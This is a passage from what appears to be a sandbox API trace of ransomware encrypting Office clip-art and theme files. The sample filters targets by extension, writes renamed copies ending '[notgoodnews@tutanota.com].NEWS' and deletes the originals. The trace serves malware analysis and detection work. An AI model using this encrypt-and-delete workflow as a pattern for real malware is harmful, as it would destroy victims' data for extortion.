(lpString=".zip") returned 4 [0236.541] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.541] lstrlenW (lpString=".rar") returned 4 [0236.541] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.541] lstrlenW (lpString=".bz2") returned 4 [0236.541] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.541] lstrlenW (lpString=".7z") returned 3 [0236.541] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.542] lstrlenW (lpString=".dbf") returned 4 [0236.542] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.542] lstrlenW (lpString=".1cd") returned 4 [0236.542] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.542] lstrlenW (lpString=".jpg") returned 4 [0236.542] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.543] lstrlenW (lpString=".doc") returned 4 [0236.543] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.543] lstrlenW (lpString=".docx") returned 5 [0236.543] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0236.543] lstrlenW (lpString=".pdf") returned 4 [0236.543] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.543] lstrlenW (lpString=".xls") returned 4 [0236.543] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.543] lstrlenW (lpString=".xlsx") returned 5 [0236.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0236.543] lstrlenW (lpString=".ppt") returned 4 [0236.543] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.544] lstrlenW (lpString=".zip") returned 4 [0236.544] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.544] lstrlenW (lpString=".rar") returned 4 [0236.544] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.544] lstrlenW (lpString=".bz2") returned 4 [0236.544] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.544] lstrlenW (lpString=".7z") returned 3 [0236.544] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.544] lstrlenW (lpString=".dbf") returned 4 [0236.544] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.545] lstrlenW (lpString=".1cd") returned 4 [0236.545] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.545] lstrlenW (lpString=".jpg") returned 4 [0236.545] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.545] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0236.546] lstrlenW (lpString="SPACE_01.MID") returned 12 [0236.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0236.575] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=4219) returned 1 [0236.575] CloseHandle (hObject=0x3b0) returned 1 [0236.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0236.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0236.576] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0236.577] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0236.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0236.578] GetLastError () returned 0x0 [0236.578] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x107b, lpOverlapped=0x0) returned 1 [0236.607] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1080, lpOverlapped=0x0) returned 1 [0238.287] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0238.287] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.288] SetEndOfFile (hFile=0x384) returned 1 [0238.919] CloseHandle (hObject=0x384) returned 1 [0239.337] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0239.337] SetEndOfFile (hFile=0x3b0) returned 1 [0239.645] CloseHandle (hObject=0x3b0) returned 1 [0239.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0239.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.975] lstrlenW (lpString=".doc") returned 4 [0239.975] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.975] lstrlenW (lpString=".docx") returned 5 [0239.976] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.976] lstrlenW (lpString=".pdf") returned 4 [0239.976] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.976] lstrlenW (lpString=".xls") returned 4 [0239.976] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.976] lstrlenW (lpString=".xlsx") returned 5 [0239.976] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.976] lstrlenW (lpString=".ppt") returned 4 [0239.976] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.976] lstrlenW (lpString=".zip") returned 4 [0239.976] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.977] lstrlenW (lpString=".rar") returned 4 [0239.977] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.977] lstrlenW (lpString=".bz2") returned 4 [0239.977] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.977] lstrlenW (lpString=".7z") returned 3 [0239.977] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.977] lstrlenW (lpString=".dbf") returned 4 [0239.977] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.977] lstrlenW (lpString=".1cd") returned 4 [0239.977] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.977] lstrlenW (lpString=".jpg") returned 4 [0239.978] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.978] lstrlenW (lpString=".doc") returned 4 [0239.978] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.978] lstrlenW (lpString=".docx") returned 5 [0239.978] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.978] lstrlenW (lpString=".pdf") returned 4 [0239.978] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.978] lstrlenW (lpString=".xls") returned 4 [0239.979] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.979] lstrlenW (lpString=".xlsx") returned 5 [0239.979] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.979] lstrlenW (lpString=".ppt") returned 4 [0239.979] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.979] lstrlenW (lpString=".zip") returned 4 [0239.979] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.979] lstrlenW (lpString=".rar") returned 4 [0239.979] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.979] lstrlenW (lpString=".bz2") returned 4 [0239.980] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.980] lstrlenW (lpString=".7z") returned 3 [0239.980] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.980] lstrlenW (lpString=".dbf") returned 4 [0239.980] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.980] lstrlenW (lpString=".1cd") returned 4 [0239.980] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0239.980] lstrlenW (lpString=".jpg") returned 4 [0239.980] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.981] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.981] lstrlenW (lpString="WNTER_01.MID") returned 12 [0239.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.156] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=6915) returned 1 [0240.156] CloseHandle (hObject=0x3ac) returned 1 [0240.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0240.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.157] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.157] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.158] GetLastError () returned 0x0 [0240.158] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x1b03, lpOverlapped=0x0) returned 1 [0240.201] WriteFile (in: hFile=0x388, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0240.205] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0240.205] WriteFile (in: hFile=0x388, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.205] SetEndOfFile (hFile=0x388) returned 1 [0240.205] CloseHandle (hObject=0x388) returned 1 [0240.206] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.206] SetEndOfFile (hFile=0x3ac) returned 1 [0240.213] CloseHandle (hObject=0x3ac) returned 1 [0240.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0240.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.655] lstrlenW (lpString=".doc") returned 4 [0240.655] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.655] lstrlenW (lpString=".docx") returned 5 [0240.655] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.655] lstrlenW (lpString=".pdf") returned 4 [0240.655] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.655] lstrlenW (lpString=".xls") returned 4 [0240.655] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.655] lstrlenW (lpString=".xlsx") returned 5 [0240.655] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.656] lstrlenW (lpString=".ppt") returned 4 [0240.656] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.656] lstrlenW (lpString=".zip") returned 4 [0240.656] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.656] lstrlenW (lpString=".rar") returned 4 [0240.656] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.656] lstrlenW (lpString=".bz2") returned 4 [0240.656] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.656] lstrlenW (lpString=".7z") returned 3 [0240.656] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.656] lstrlenW (lpString=".dbf") returned 4 [0240.657] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.657] lstrlenW (lpString=".1cd") returned 4 [0240.657] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.657] lstrlenW (lpString=".jpg") returned 4 [0240.657] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.657] lstrlenW (lpString=".doc") returned 4 [0240.657] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.658] lstrlenW (lpString=".docx") returned 5 [0240.658] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.658] lstrlenW (lpString=".pdf") returned 4 [0240.658] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.658] lstrlenW (lpString=".xls") returned 4 [0240.658] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.658] lstrlenW (lpString=".xlsx") returned 5 [0240.658] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.658] lstrlenW (lpString=".ppt") returned 4 [0240.658] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.659] lstrlenW (lpString=".zip") returned 4 [0240.659] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.659] lstrlenW (lpString=".rar") returned 4 [0240.659] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.659] lstrlenW (lpString=".bz2") returned 4 [0240.659] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.659] lstrlenW (lpString=".7z") returned 3 [0240.659] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.659] lstrlenW (lpString=".dbf") returned 4 [0240.659] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.659] lstrlenW (lpString=".1cd") returned 4 [0240.660] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0240.660] lstrlenW (lpString=".jpg") returned 4 [0240.660] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.660] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0240.660] lstrlenW (lpString="Adjacency.eftx") returned 14 [0240.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0240.856] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=21089) returned 1 [0240.857] CloseHandle (hObject=0x338) returned 1 [0240.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0240.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0240.858] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.859] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0241.277] GetLastError () returned 0x0 [0241.277] ReadFile (in: hFile=0x338, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x5261, lpOverlapped=0x0) returned 1 [0241.289] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x5270, lpOverlapped=0x0) returned 1 [0241.294] ReadFile (in: hFile=0x338, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0241.294] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0241.295] SetEndOfFile (hFile=0x1f0) returned 1 [0241.295] CloseHandle (hObject=0x1f0) returned 1 [0241.295] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0241.296] SetEndOfFile (hFile=0x338) returned 1 [0241.303] CloseHandle (hObject=0x338) returned 1 [0241.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0241.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.305] lstrlenW (lpString=".doc") returned 4 [0241.305] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0241.305] lstrlenW (lpString=".docx") returned 5 [0241.305] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0241.305] lstrlenW (lpString=".pdf") returned 4 [0241.305] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0241.305] lstrlenW (lpString=".xls") returned 4 [0241.306] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0241.306] lstrlenW (lpString=".xlsx") returned 5 [0241.306] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0241.306] lstrlenW (lpString=".ppt") returned 4 [0241.306] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0241.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.306] lstrlenW (lpString=".zip") returned 4 [0241.306] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0241.306] lstrlenW (lpString=".rar") returned 4 [0241.306] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0241.306] lstrlenW (lpString=".bz2") returned 4 [0241.306] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0241.307] lstrlenW (lpString=".7z") returned 3 [0241.307] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.307] lstrlenW (lpString=".dbf") returned 4 [0241.307] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0241.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0241.307] lstrlenW (lpString=".1cd") returned 4 